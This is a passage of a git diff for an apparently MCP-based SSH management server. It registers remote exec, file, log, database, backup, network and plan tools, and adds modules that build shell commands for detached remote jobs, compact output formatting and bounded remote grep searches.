'sudo', 'fleet', 'script', 'detach', 'job-status', 'job-kill']) + .describe('exec/sudo a command, fleet-exec across a group, run a script ' + + 'of commands, detach a long job, or check/kill a detached job'), + command: z.string().optional().describe('Command to run (actions: exec, sudo, detach)'), + commands: z.array(z.string()).optional() + .describe('Commands run in one shell with shared state (action: script)'), + isolate: z.boolean().optional() + .describe('Run each script command in its own shell -- no shared cd/env (action: script)'), + cwd: z.string().optional().describe('Working directory (actions: exec, sudo, fleet)'), + group: z.string().optional().describe('Server group name (action: fleet)'), + sudo_password: z.string().optional().describe('Sudo password, streamed via stdin (action: sudo)'), + job_id: z.string().optional() + .describe('Detached job id (actions: detach to set, job-status/job-kill to target)'), + since_offset: z.number().optional() + .describe('Log byte offset for an incremental read; pass back the prior log_size (action: job-status)'), + timeout: z.number().optional().describe('Command timeout in ms (actions: exec, sudo)'), + raw: RAW, + format: FORMAT, + }, +}, async (args) => handleSshRun({ + deps: DEPS, + handlers: { + execute: handleSshExecute, + executeSudo: handleSshExecuteSudo, + executeGroup: handleSshExecuteGroup, + }, + args, +})); + +registerToolConditional('ssh_find', { + description: V4_TOOL_DESCRIPTIONS.ssh_find, + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['grep', 'locate', 'ls']) + .describe('grep recursive content, locate files by name, or ls one directory'), + path: z.string().describe('Search root (grep, locate) or directory to list (ls)'), + pattern: z.string().optional().describe('Content regex to search for (action: grep)'), + name: z.string().optional().describe('Filename glob to match (action: locate)'), + context_lines: z.number().optional().describe('Lines of context around each grep hit (action: grep)'), + match_cap: z.number().optional().describe('Max hits before the search stops (actions: grep, locate)'), + timeout_secs: z.number().optional().describe('Server-side wall-clock limit in seconds'), + cross_mounts: z.boolean().optional().describe('Descend into other filesystems (actions: grep, locate)'), + allow_root: z.boolean().optional().describe('Permit searching the bare "/" root (actions: grep, locate)'), + format: FORMAT, + }, +}, async (args) => handleSshFind({ + deps: DEPS, + args, +})); + +registerToolConditional('ssh_file', { + description: V4_TOOL_DESCRIPTIONS.ssh_file, + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['upload', 'download', 'sync', 'read', 'write', 'edit', 'diff', 'deploy', 'deploy-artifact']) + .describe('File operation to perform'), + local_path: z.string().optional().describe('Local path (actions: upload, download)'), + remote_path: z.string().optional().describe('Remote path (actions: upload, download, read, write, edit)'), + content: z.string().optional().describe('File content to write (action: write)'), + old_text: z.string().optional().describe('Text to replace (action: edit)'), + new_text: z.string().optional().describe('Replacement text (action: edit)'), + source: z.string().optional().describe('Sync source, "local:"/"remote:" prefixed (action: sync)'), + destination: z.string().optional().describe('Sync destination, "local:"/"remote:" prefixed (action: sync)'), + exclude: z.array(z.string()).optional().describe('Exclude patterns (action: sync)'), + delete_extra: z.boolean().optional().describe('Delete files absent from source (action: sync)'), + head: z.number().optional().describe('Read first N lines (action: read)'), + tail: z.number().optional().describe('Read last N lines (action: read)'), + grep: z.string().optional().describe('Extended-regex filter (action: read)'), + line_start: z.number().optional().describe('Start line, 1-indexed (action: read)'), + line_end: z.number().optional().describe('End line, 1-indexed (action: read)'), + path_a: z.string().optional().describe('First file (action: diff)'), + path_b: z.string().optional().describe('Second file (action: diff)'), + server_b: z.string().optional().describe('Other server hosting path_b for a cross-server diff (action: diff)'), + artifact_local_path: z.string().optional().describe('Local artifact (actions: deploy, deploy-artifact)'), + target_path: z.string().optional().describe('Remote target path (actions: deploy, deploy-artifact)'), + post_hooks: z.array(z.string()).optional().describe('Post-deploy commands (actions: deploy, deploy-artifact)'), + health_check: z.string().optional().describe('Health check command (actions: deploy, deploy-artifact)'), + rollback_on_fail: z.boolean().optional().describe('Auto-rollback on failure (actions: deploy, deploy-artifact)'), + rollback_hook: z.string().optional().describe('Command run after a rollback to restore service (actions: deploy, deploy-artifact)'), + preview: z.boolean().optional().describe('Show the plan without executing'), + format: FORMAT, + }, +}, async (args) => handleSshFile({ + deps: DEPS, + handlers: { + upload: handleSshUpload, + download: handleSshDownload, + sync: handleSshSync, + cat: handleSshCat, + edit: handleSshEdit, + diff: handleSshDiff, + deploy: handleSshDeploy, + }, + args, +})); + +registerToolConditional('ssh_logs', { + description: V4_TOOL_DESCRIPTIONS.ssh_logs, + inputSchema: { + server: z.string().optional().describe('Server name (actions: tail, follow-start, journal)'), + action: z.enum(['tail', 'follow-start', 'follow-read', 'follow-stop', 'journal']) + .describe('Log operation to perform'), + file: z.string().optional().describe('Log file path (actions: tail, follow-start)'), + lines: z.number().optional().describe('Trailing line count (actions: tail, follow-start, journal)'), + grep: z.string().optional().describe('Extended-regex filter (actions: tail, follow-start, journal)'), + session_id: z.string().optional().describe('Tail session id (actions: follow-read, follow-stop)'), + since_offset: z.number().optional().describe('Resume byte offset (action: follow-read)'), + unit: z.string().optional().describe('systemd unit to filter (action: journal)'), + since: z.string().optional().describe('Time lower bound (action: journal)'), + until: z.string().optional().describe('Time upper bound (action: journal)'), + priority: z.string().optional().describe('Priority filter (action: journal)'), + format: FORMAT, + }, +}, async (args) => handleSshLogs({ + deps: DEPS, + handlers: { + tail: handleSshTail, + tailStart: handleSshTailStart, + tailRead: handleSshTailRead, + tailStop: handleSshTailStop, + journal: handleSshJournalctl, + }, + args, +})); + +registerToolConditional('ssh_service', { + description: V4_TOOL_DESCRIPTIONS.ssh_service, + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['status', 'start', 'stop', 'restart', 'enable', 'disable']) + .describe('Service operation to perform'), + service: z.string().describe('Service unit name, e.g. "nginx" or "nginx.service"'), + preview: z.boolean().optional().describe('Preview a mutating action without running it'), + format: FORMAT, + }, +}, async (args) => handleSshService({ + deps: DEPS, + handlers: { serviceStatus: handleSshServiceStatus, systemctl: handleSshSystemctl }, + args, +})); + +registerToolConditional('ssh_health', { + description: V4_TOOL_DESCRIPTIONS.ssh_health, + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['check', 'watch', 'procs', 'alerts']).describe('Health operation to perform'), + watch_type: z.enum(['overview', 'cpu', 'memory', 'disk', 'network', 'process']) + .optional().describe('Subsystem to snapshot (action: watch)'), + proc_action: z.enum(['list', 'kill', 'info']).optional().describe('Process operation (action: procs, default list)'), + pid: z.number().optional().describe('Process id (action: procs, proc_action kill/info)'), + signal: z.enum(['TERM', 'KILL', 'HUP', 'INT', 'QUIT']).optional().describe('Kill signal (action: procs)'), + alert_action: z.enum(['set', 'get', 'check']).optional().describe('Alert operation (action: alerts)'), + cpu_threshold: z.number().min(0).max(100).optional().describe('CPU alert threshold percent (action: alerts)'), + memory_threshold: z.number().min(0).max(100).optional().describe('Memory alert threshold percent (action: alerts)'), + disk_threshold: z.number().min(0).max(100).optional().describe('Disk alert threshold percent (action: alerts)'), + enabled: z.boolean().optional().describe('Enable/disable alert evaluation (action: alerts)'), + preview: z.boolean().optional().describe('Preview a process kill without running it'), + format: FORMAT, + }, +}, async (args) => handleSshHealth({ + deps: DEPS, + handlers: { + healthCheck: handleSshHealthCheck, + monitor: handleSshMonitor, + processManager: handleSshProcessManager, + alertSetup: handleSshAlertSetup, + }, + args, +})); + +registerToolConditional('ssh_db', { + description: V4_TOOL_DESCRIPTIONS.ssh_db, + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['query', 'list', 'dump', 'import']).describe('Database operation to perform'), + db_type: z.enum(['mysql', 'postgresql', 'mongodb']).optional().describe('Database engine'), + database: z.string().optional().describe('Database name (actions: query, dump, import)'), + query: z.string().optional().describe('SELECT-only SQL or Mongo find (action: query)'), + output_path: z.string().optional().describe('Dump output path (action: dump)'), + input_path: z.string().optional().describe('Import input path (action: import)'), + gzip: z.boolean().optional().describe('Gzip the dump (action: dump)'), + user: z.string().optional().describe('Database user'), + password: z.string().optional().describe('Database password'), + preview: z.boolean().optional().describe('Show the plan without importing (action: import)'), + format: FORMAT, + }, +}, async (args) => handleSshDb({ + deps: DEPS, + handlers: { + query: handleSshDbQuery, + list: handleSshDbList, + dump: handleSshDbDump, + import: handleSshDbImport, + }, + args, +})); + +registerToolConditional('ssh_backup', { + description: V4_TOOL_DESCRIPTIONS.ssh_backup, + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['create', 'list', 'restore', 'schedule']).describe('Backup operation to perform'), + backup_type: z.enum(['mysql', 'postgresql', 'mongodb', 'files']).optional().describe('Backup type'), + name: z.string().optional().describe('Backup name (actions: create, schedule)'), + database: z.string().optional().describe('Database name (actions: create, restore, schedule)'), + paths: z.array(z.string()).optional().describe('Paths to back up (actions: create, schedule)'), + exclude: z.array(z.string()).optional().describe('Exclude patterns (action: create)'), + backup_dir: z.string().optional().describe('Backup directory'), + backup_id: z.string().optional().describe('Backup id (action: restore)'), + target_path: z.string().optional().describe('Restore target path for file backups (action: restore)'), + cron: z.string().optional().describe('Cron schedule (action: schedule)'), + retention: z.number().optional().describe('Retention days (action: schedule)'), + gzip: z.boolean().optional().describe('Gzip the backup (action: create)'), + verify: z.boolean().optional().describe('Compute/verify sha256 (actions: create, restore)'), + preview: z.boolean().optional().describe('Show the plan without executing'), + format: FORMAT, + }, +}, async (args) => handleSshBackup({ + deps: DEPS, + handlers: { + create: handleSshBackupCreate, + list: handleSshBackupList, + restore: handleSshBackupRestore, + schedule: handleSshBackupSchedule, + }, + args, +})); + +registerToolConditional('ssh_docker', { + description: V4_TOOL_DESCRIPTIONS.ssh_docker, + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['ps', 'logs', 'exec', 'restart', 'inspect']).describe('Docker operation to perform'), + container: z.string().optional().describe('Container name/id (actions: logs, exec, restart, inspect)'), + image: z.string().optional().describe('Image reference'), + command: z.string().optional().describe('Command for docker exec (action: exec)'), + tail_lines: z.number().optional().describe('Log tail line count (action: logs)'), + preview: z.boolean().optional().describe('Preview a mutating action without running it'), + format: FORMAT, + }, +}, async (args) => handleSshDockerTool({ + deps: DEPS, + handlers: { docker: handleSshDocker }, + args, +})); + +registerToolConditional('ssh_session', { + description: V4_TOOL_DESCRIPTIONS.ssh_session, + inputSchema: { + server: z.string().optional().describe('Server name (action: start)'), + action: z.enum(['start', 'send', 'list', 'close', 'replay', 'memory']) + .describe('Session operation to perform'), + session_id: z.string().optional().describe('Session id (actions: send, close, replay, memory)'), + command: z.string().optional().describe('Command to send (action: send)'), + timeout: z.number().optional().describe('Command timeout in ms (action: send)'), + limit: z.number().optional().describe('Max commands to replay (action: replay)'), + format: FORMAT, + }, +}, async (args) => handleSshSession({ + deps: DEPS, + handlers: { + start: handleSshSessionStartNew, + send: handleSshSessionSendNew, + list: handleSshSessionListNew, + close: handleSshSessionCloseNew, + replay: handleSshSessionReplay, + memory: handleSshSessionMemory, + }, + args, +})); + +registerToolConditional('ssh_net', { + description: V4_TOOL_DESCRIPTIONS.ssh_net, + inputSchema: { + server: z.string().optional().describe('Server name (actions: tunnel-open, port-test)'), + action: z.enum(['tunnel-open', 'tunnel-list', 'tunnel-close', 'port-test']) + .describe('Network operation to perform'), + tunnel_type: z.enum(['local', 'remote', 'dynamic']).optional().describe('Tunnel kind (action: tunnel-open)'), + bind: z.string().optional().describe('Local bind host (action: tunnel-open)'), + local_port: z.number().optional().describe('Local port (action: tunnel-open)'), + remote_host: z.string().optional().describe('Remote host (action: tunnel-open)'), + remote_port: z.number().optional().describe('Remote port (action: tunnel-open)'), + tunnel_id: z.string().optional().describe('Tunnel id (action: tunnel-close)'), + target_host: z.string().optional().describe('Probe target host (action: port-test)'), + target_port: z.number().optional().describe('Probe target port (action: port-test)'), + probe_chain: z.array(z.enum(['dns', 'tcp', 'tls', 'http'])).optional().describe('Probe ordering (action: port-test)'), + timeout_ms_per_probe: z.number().optional().describe('Per-probe timeout in ms (action: port-test)'), + continue_on_fail: z.boolean().optional().describe('Keep probing after a failure (action: port-test)'), + preview: z.boolean().optional().describe('Probe reachability without opening the tunnel (action: tunnel-open)'), + format: FORMAT, + }, +}, async (args) => handleSshNet({ + deps: DEPS, + handlers: { + tunnelCreate: handleSshTunnelCreate, + tunnelList: handleSshTunnelList, + tunnelClose: handleSshTunnelClose, + portTest: handleSshPortTest, + }, + args, +})); + +registerToolConditional('ssh_fleet', { + description: V4_TOOL_DESCRIPTIONS.ssh_fleet, + inputSchema: { + action: z.enum(['servers', 'groups', 'aliases', 'command_alias', 'profiles', 'hooks', 'keys', 'history', 'connections']) + .describe('Fleet/config entity to operate on'), + op: z.enum(['list', 'add', 'remove', 'update', 'suggest', 'status', 'reconnect', 'disconnect', 'cleanup', 'verify', 'accept', 'check', 'show']) + .optional().describe('Sub-operation (default list/status)'), + name: z.string().optional().describe('Entity name (group, alias, profile, hook)'), + members: z.array(z.string()).optional().describe('Member server names (action: groups)'), + description: z.string().optional().describe('Group description (action: groups)'), + target: z.string().optional().describe('Alias target server (action: aliases)'), + alias: z.string().optional().describe('Command alias name (action: command_alias)'), + command: z.string().optional().describe('Command body, or search term for op suggest (action: command_alias)'), + server: z.string().optional().describe('Server name (actions: keys, connections, history)'), + host: z.string().optional().describe('Raw host (action: keys)'), + port: z.number().optional().describe('Port (action: keys)'), + limit: z.number().optional().describe('Row limit (action: history)'), + search: z.string().optional().describe('Command substring filter (action: history)'), + format: FORMAT, + }, +}, async (args) => handleSshFleet({ + deps: DEPS, + handlers: { + servers: ({ args: a }) => fleetServers({ args: a, deps: { loadServerConfig } }), + groups: ({ args: a }) => fleetGroups({ + args: a, + deps: { listGroups, createGroup, updateGroup, deleteGroup, addServersToGroup, removeServersFromGroup }, + }), + aliases: ({ args: a }) => fleetAliases({ + args: a, deps: { listAliases, addAlias, removeAlias, loadServerConfig, resolveServerName }, + }), + command_alias: ({ args: a }) => fleetCommandAlias({ + args: a, deps: { listCommandAliases, addCommandAlias, removeCommandAlias, suggestAliases }, + }), + profiles: ({ args: a }) => fleetProfiles({ + args: a, deps: { listProfiles, setActiveProfile, getActiveProfileName, loadProfile }, + }), + hooks: ({ args: a }) => fleetHooks({ args: a, deps: { listHooks, toggleHook } }), + history: ({ args: a }) => fleetHistory({ args: a, deps: { logger } }), + connections: ({ args: a }) => fleetConnections({ + args: a, + deps: { + connections, connectionTimestamps, keepaliveIntervals, + closeConnection, cleanupOldConnections, getConnection, + }, + }), + keys: handleSshKeyManage, + }, + args, +})); + +registerToolConditional('ssh_plan', { + description: V4_TOOL_DESCRIPTIONS.ssh_plan, + inputSchema: { + action: z.enum(['run', 'approve']).describe('run a plan, or approve and re-run a high-risk plan'), + steps: z.array(z.any()).describe('Ordered list of step objects'), + server: z.string().optional().describe('Plan-level default server for steps that omit one'), + approve_token: z.string().optional().describe('Any non-empty token; required for high-risk plans (action: approve)'), + rollback_on_fail: z.boolean().optional().describe('Walk completed steps in reverse and roll back on failure'), + format: FORMAT, + }, +}, async (args) => handleSshPlanTool({ + deps: DEPS, + handlers: { + execute: handleSshExecute, + executeSudo: handleSshExecuteSudo, + upload: handleSshUpload, + download: handleSshDownload, + edit: handleSshEdit, + systemctl: handleSshSystemctl, + backupCreate: handleSshBackupCreate, + healthCheck: handleSshHealthCheck, + }, + planFn: handleSshPlan, + args, +})); // Clean up connections on shutdown process.on('SIGINT', async () => { diff --git a/src/job-tracker.js b/src/job-tracker.js new file mode 100644 index 0000000..3b26b37 --- /dev/null +++ b/src/job-tracker.js @@ -0,0 +1,158 @@ +/** + * ssh_run detach / job-status / job-kill engine. Job state lives on the + * REMOTE host under ~/.ssh-manager/jobs// as three files: rc (exit code, + * written on completion), pid, log. Completion is decided by the rc file's + * presence -- never by PID liveness -- so there is no PID-reuse race and a + * job survives an MCP restart or a pooled-connection eviction. + * + * Pure: builders return POSIX-sh strings, parseJobStatus turns raw stdout + * into a structured status. The dispatcher (Plan 4) execs and reads the log + * incrementally by offset. + */ + +import crypto from 'crypto'; +import { shQuote } from './stream-exec.js'; + +/** Remote root for job directories. `$HOME` expands on the remote shell. */ +export const JOBS_ROOT = '$HOME/.ssh-manager/jobs'; + +/** Job ids are model-supplied -> strict allowlist; becomes a shell path/dir. */ +const JOB_ID_RE = /^[A-Za-z0-9_-]{1,64}$/; + +/** Reject any job id outside the allowlist -- blocks shell/path injection. */ +function assertJobId(jobId) { + if (typeof jobId !== 'string' || !JOB_ID_RE.test(jobId)) { + throw new Error('ssh_run: invalid job id'); + } +} + +/** A short, unique, filesystem/shell-safe job id. Always passes JOB_ID_RE. */ +export function newJobId() { + // 9 random bytes -> 12 base64url chars; collision-free for practical use. + return crypto.randomBytes(9).toString('base64url'); +} + +/** Job dir path with the (validated) id shQuoted; $HOME stays unquoted. */ +function jobDirOf(jobId) { + return `${JOBS_ROOT}/${shQuote(jobId)}`; +} + +/** + * Build the detach launch command. Returns { jobId, jobDir, logPath, command }. + * + * The command: + * mkdir -p + * && setsid sh -c '; echo $? > /rc' > /log 2>&1 & + * echo $! > /pid + * + * setsid detaches the job from the SSH session's process group, so closing + * the channel does not kill it. rc is written only after the command exits. + */ +export function buildDetachCommand(command, { jobId = newJobId() } = {}) { + if (typeof command !== 'string' || command === '') { + throw new Error('ssh_run detach: command is required'); + } + assertJobId(jobId); + const jobDir = jobDirOf(jobId); + const logPath = `${jobDir}/log`; + // Inner script: run the user command, then record its exit code in rc. + const inner = `${command}; echo $? > ${jobDir}/rc`; + const cmd = + `mkdir -p ${jobDir} && ` + + `{ setsid sh -c ${shQuote(inner)} > ${logPath} 2>&1 & ` + + `echo $! > ${jobDir}/pid; }`; + return { jobId, jobDir, logPath, command: cmd }; +} + +/** + * Build the job-status command. Prints a small keyed block plus the log + * tail from `offset` bytes onward. `rc` presence (not PID liveness) decides + * completion -- `cat rc 2>/dev/null` yields the code, or empty if unwritten. + * + * Emitted block: + * STATE=present|missing + * RC= + * PID= + * LOGSIZE= + * ##LOG## + * + */ +export function buildJobStatusCommand(jobId, { offset = 0 } = {}) { + assertJobId(jobId); + const jobDir = jobDirOf(jobId); + // Clamp to a non-negative int: a huge LOGSIZE must not 32-bit-wrap negative + // and produce `tail -c +-N`, which coreutils rejects -> silent log loss. + const off = Math.max(0, Math.floor(Number(offset) || 0)); + // wc -c after + yields bytes-from-offset; tail -c +N is 1-indexed. + return ( + `if test -d ${jobDir}; then ` + + `echo STATE=present; ` + + `echo "RC=$(cat ${jobDir}/rc 2>/dev/null)"; ` + + `echo "PID=$(cat ${jobDir}/pid 2>/dev/null)"; ` + + `echo "LOGSIZE=$(wc -c < ${jobDir}/log 2>/dev/null || echo 0)"; ` + + `echo '##LOG##'; ` + + `tail -c +${off + 1} ${jobDir}/log 2>/dev/null; ` + + `else echo STATE=missing; fi` + ); +} + +/** + * Parse job-status output into { state, exitCode, pid, logSize, logChunk }. + * state: 'done' (rc file present) | 'running' (dir present, no rc) + * | 'unknown' (job dir missing) + * exitCode is the rc value when done, else null. PID liveness is never + * consulted -- rc presence alone decides completion. + */ +export function parseJobStatus(stdout) { + const s = stdout == null ? '' : String(stdout); + const logMark = s.indexOf('\n##LOG##\n'); + const head = logMark === -1 ? s : s.slice(0, logMark); + const logChunk = logMark === -1 ? '' : s.slice(logMark + '\n##LOG##\n'.length); + + // Plain line scan -- no RegExp built from an interpolated key. + const field = (key) => { + const prefix = `${key}=`; + for (const line of head.split('\n')) { + if (line.startsWith(prefix)) return line.slice(prefix.length).trim(); + } + return ''; + }; + + if (field('STATE') === 'missing') { + return { state: 'unknown', exitCode: null, pid: null, logSize: 0, logChunk: '' }; + } + + const rc = field('RC'); + const pidRaw = field('PID'); + const sizeRaw = field('LOGSIZE'); + const hasRc = rc !== ''; + + return { + state: hasRc ? 'done' : 'running', + exitCode: hasRc ? Number(rc) : null, + pid: pidRaw === '' ? null : Number(pidRaw), + logSize: sizeRaw === '' ? 0 : Number(sizeRaw), + logChunk, + }; +} + +/** + * Build the job-kill command. Reads the recorded pid; since the job ran + * under setsid it leads its own process group, so a negative pid (`-PID`) + * signals the whole group -- children included. TERM first, brief grace, + * then KILL. A missing pid file or an already-dead group is not an error. + */ +export function buildJobKillCommand(jobId) { + assertJobId(jobId); + const jobDir = jobDirOf(jobId); + // P holds the job's pid; -$P targets its process group. + return ( + `P=$(cat ${jobDir}/pid 2>/dev/null); ` + + `if test -n "$P"; then ` + + `kill -TERM -"$P" 2>/dev/null; ` + + `sleep 2; ` + + `kill -KILL -"$P" 2>/dev/null; ` + + `echo "killed $P"; ` + + `else echo 'job-kill: no pid recorded'; fi` + ); +} diff --git a/src/output-formatter.js b/src/output-formatter.js index f1ae5bb..26928c8 100644 --- a/src/output-formatter.js +++ b/src/output-formatter.js @@ -13,6 +13,7 @@ */ import { OUTPUT_LIMITS } from './config.js'; +import { compress } from './command-compressors.js'; // ANSI CSI / OSC stripping. Covers color, cursor, title sequences. // eslint-disable-next-line no-control-regex @@ -72,8 +73,11 @@ export function truncateHeadTail(s, max = OUTPUT_LIMITS.MAX_OUTPUT_LENGTH) { /** * Build the structured ExecResult from raw stream output. - * Input: { server, command, cwd?, stdout, stderr, code, durationMs, maxLen? } + * Input: { server, command, cwd?, stdout, stderr, code, durationMs, maxLen?, raw? } * Output: wire-schema JSON object. + * + * stdout passes through compress() (per-command shaping) before truncation; + * raw:true bypasses compression. stderr is never compressed -- errors stay whole. */ export function formatExecResult({ server, @@ -84,8 +88,10 @@ export function formatExecResult({ code, durationMs, maxLen = OUTPUT_LIMITS.MAX_OUTPUT_LENGTH, + raw = false, }) { - const out = truncateHeadTail(stripAnsi(stdout), maxLen); + const shapedStdout = compress(command, stripAnsi(stdout), { raw }); + const out = truncateHeadTail(shapedStdout, maxLen); const err = truncateHeadTail(stripAnsi(stderr), maxLen); return { server, @@ -129,52 +135,30 @@ export function formatDuration(ms) { } /** - * Render an ExecResult as cool, scannable Claude Code markdown. - * - * Layout: - * [ok] **ssh_execute** | `server` | **exit 0** | `2.34 s` - * `$ ` *(in /some/cwd)* - * - * ``` - * - * ``` - * - * **stderr** - * ``` - * - * ``` - * - * > elided: stdout 12.0 KB, stderr 0 B - * - * - Success uses [ok] marker and bold "exit 0"; failure uses [err] and bold "exit N". - * - Empty sections are omitted. cwd suppressed when null. - * - Language-tagged fenced blocks (`text`) render with a subtle tint in Claude Code. + * Render an ExecResult as compact v4 plain text. + * Header via renderHeader; command on a plain `$` line; stdout/stderr indented. */ export function renderMarkdown(r) { - const ok = r.success; - const marker = ok ? '[ok]' : '[err]'; - const exitText = ok ? 'exit 0' : `exit ${r.exit_code}`; - const duration = formatDuration(r.duration_ms); - - const lines = []; - lines.push(`${marker} **ssh_execute** | \`${r.server}\` | ${exitText} | ${duration}`); + const marker = r.success ? '[ok]' : '[err]'; + const lines = [renderHeader({ + marker, + tool: 'ssh_execute', + server: r.server, + status: `exit ${r.exit_code}`, + durationMs: r.duration_ms, + })]; - const cwdFragment = r.cwd ? ` *(in \`${r.cwd}\`)*` : ''; - lines.push(`\`$ ${r.command}\`${cwdFragment}`); + lines.push(`$ ${r.command}${r.cwd ? ` (in ${r.cwd})` : ''}`); if (r.stdout) { lines.push(''); - lines.push('```text'); - lines.push(r.stdout); - lines.push('```'); + lines.push(indentBody(r.stdout)); } if (r.stderr) { lines.push(''); - lines.push('**stderr**'); - lines.push('```text'); - lines.push(r.stderr); - lines.push('```'); + lines.push('stderr:'); + lines.push(indentBody(r.stderr)); } if (r.truncated.stdout_bytes || r.truncated.stderr_bytes) { @@ -182,7 +166,7 @@ export function renderMarkdown(r) { if (r.truncated.stdout_bytes) parts.push(`stdout ${formatBytes(r.truncated.stdout_bytes)}`); if (r.truncated.stderr_bytes) parts.push(`stderr ${formatBytes(r.truncated.stderr_bytes)}`); lines.push(''); - lines.push(`> elided: ${parts.join(', ')}`); + lines.push(`elided: ${parts.join(', ')}`); } return lines.join('\n'); @@ -190,9 +174,11 @@ export function renderMarkdown(r) { /** * Build the MCP `content` array from an ExecResult. - * format: "markdown" (default, human-friendly) | "json" (raw wire schema) | "both". + * format: "compact" (default) | "markdown" | "json" | "both". + * compact and markdown both use renderMarkdown -- the renderer is already + * fence-free and compact; the names are kept distinct for caller intent. */ -export function makeMcpContent(result, { format = 'markdown' } = {}) { +export function makeMcpContent(result, { format = 'compact' } = {}) { if (format === 'json') { return [{ type: 'text', text: JSON.stringify(result) }]; } @@ -204,3 +190,75 @@ export function makeMcpContent(result, { format = 'markdown' } = {}) { } return [{ type: 'text', text: renderMarkdown(result) }]; } + +/** + * Render the single v4 header line. Grammar: + * · · · · + * Absent slots collapse; present slots never reorder. Used by every v4 tool. + */ +export function renderHeader({ + marker = '[ok]', tool, action, server, status, durationMs, +} = {}) { + const slots = []; + if (tool) slots.push(String(tool)); + if (action) slots.push(String(action)); + if (server) slots.push(String(server)); + if (status != null && status !== '') slots.push(String(status)); + if (durationMs != null) slots.push(formatDuration(durationMs)); + return `${marker} ${slots.join(' · ')}`; +} + +/** + * Indent a payload block by `prefix` (default 2 spaces). Replaces fenced code + * blocks in v4 output -- clean as plain text, unbreakable by payload content. + */ +export function indentBody(text, prefix = ' ') { + if (text == null || text === '') return ''; + return String(text).split('\n').map((l) => prefix + l).join('\n'); +} + +/** + * Render [key, value] pairs as a column-aligned key/value block. Keys are + * left-padded to the longest key; a 2-space gutter separates key and value. + * Cell values must be single-line; multiline payloads belong in indentBody. + * Malformed (non-array) rows degrade to a blank key/value, never throw. + */ +export function renderKV(rows) { + if (!Array.isArray(rows) || rows.length === 0) return ''; + const safe = rows.map((r) => (Array.isArray(r) ? r : [])); + const width = Math.max(0, ...safe.map(([k]) => String(k ?? '').length)); + return safe + .map(([k, v]) => `${String(k ?? '').padEnd(width)} ${v == null ? '' : String(v)}`) + .join('\n'); +} + +/** + * Render rows as a column-aligned ASCII table. `headers` is an array of column + * labels; `rows` is an array of cell arrays. With an `isFail` predicate, failed + * rows sort first and an `N/M failed` summary line is prepended. + * Cell values must be single-line; multiline payloads belong in indentBody. + * Malformed (non-array) rows degrade to a blank row, never throw. + */ +export function renderRows(headers, rows, { isFail } = {}) { + if (!Array.isArray(headers) || headers.length === 0) return ''; + let ordered = (Array.isArray(rows) ? rows : []).map((r) => (Array.isArray(r) ? r : [])); + let summary = ''; + if (typeof isFail === 'function') { + const failed = ordered.filter((r) => isFail(r)); + const rest = ordered.filter((r) => !isFail(r)); + ordered = [...failed, ...rest]; + if (failed.length > 0) summary = `${failed.length}/${ordered.length} failed`; + } + const widths = headers.map((h, i) => + Math.max(0, String(h).length, ...ordered.map((r) => String(r[i] ?? '').length))); + const fmt = (cells) => + cells + .map((c, i) => String(c ?? '').padEnd(widths[i])) + .join(' ') + .replace(/\s+$/, ''); + const lines = []; + if (summary) lines.push(summary); + lines.push(fmt(headers)); + for (const r of ordered) lines.push(fmt(r)); + return lines.join('\n'); +} diff --git a/src/remote-search.js b/src/remote-search.js new file mode 100644 index 0000000..7ae4284 --- /dev/null +++ b/src/remote-search.js @@ -0,0 +1,207 @@ +/** + * Remote-search engine for the v4 ssh_find tool. Pure: builders return a + * POSIX-sh command string, parsers turn raw stdout into structured hits. + * + * Every emitted command is server-side bounded: timeout wrapper, pruned + * pseudo-filesystems, -xdev unless opted out, match cap via head (SIGPIPE + * stops the walk early). A bare "/" root is refused without an override. + */ + +import { shQuote } from './stream-exec.js'; + +/** Bounded defaults baked into every ssh_find command. */ +export const SEARCH_DEFAULTS = { + matchCap: 200, // hits before head closes the pipe + timeoutSecs: 20, // hard `timeout` wall + contextLines: 0, // grep -C value + crossMounts: false, // false => -xdev + prune: ['/proc', '/sys', '/dev', '/run'], // never descended +}; + +/** + * Validate + normalize a search root. Empty path rejected; bare "/" refused + * unless allowRoot. Returns the trimmed path. + */ +export function assertSearchPath(path, { allowRoot = false } = {}) { + const p = typeof path === 'string' ? path.trim() : ''; + if (!p) throw new Error('ssh_find: path is required'); + // Collapse a string of only slashes to one "/". + const normalized = /^\/+$/.test(p) ? '/' : p.replace(/\/+$/, ''); + if (normalized === '/' && !allowRoot) { + throw new Error( + 'ssh_find: refusing to search "/" -- pass a narrower path ' + + 'or set allow_root: true', + ); + } + return normalized || '/'; +} + +/** + * Clamp value to [min, max] as an int; non-numeric or 0 -> fallback. + * Guards `timeout`/`head` bounds: timeout 0 = no timeout, head -n 0/-1 = no cap. + * 0 is treated as "unset" (-> fallback), matching the builders' `|| default`. + */ +function clampInt(value, min, max, fallback) { + const n = Number(value); + const base = Number.isFinite(n) && n !== 0 ? n : fallback; + return Math.max(min, Math.min(max, Math.trunc(base))); +} + +/** Build the prune/exclude flags shared by the rg and grep branches. */ +function excludeFlags(prune, crossMounts) { + // strip leading slash: grep/rg --exclude-dir matches a basename + const dirs = [...prune.map((p) => p.replace(/^\//, '')), '.git']; + const flags = dirs.map((d) => `--exclude-dir=${d}`); + if (!crossMounts) flags.push('--one-file-system'); + return flags.join(' '); +} + +/** + * Build a bounded recursive-grep command. Prefers rg, falls back to grep. + * Emitted shape: timeout sh -c 'if rg; then rg ...; else grep ...; fi | head' + */ +export function buildGrepCommand({ + pattern, + path, + matchCap = SEARCH_DEFAULTS.matchCap, + timeoutSecs = SEARCH_DEFAULTS.timeoutSecs, + contextLines = SEARCH_DEFAULTS.contextLines, + crossMounts = SEARCH_DEFAULTS.crossMounts, + prune = SEARCH_DEFAULTS.prune, + allowRoot = false, +} = {}) { + if (typeof pattern !== 'string' || pattern === '') { + throw new Error('ssh_find: pattern is required for action grep'); + } + const root = assertSearchPath(path, { allowRoot }); + const ex = excludeFlags(prune, crossMounts); + const cap = clampInt(matchCap, 1, 100000, SEARCH_DEFAULTS.matchCap); + const secs = clampInt(timeoutSecs, 1, 600, SEARCH_DEFAULTS.timeoutSecs); + const ctxN = clampInt(contextLines, 0, 1000, SEARCH_DEFAULTS.contextLines); + const ctx = ctxN > 0 ? ` -C ${ctxN}` : ''; + const qp = 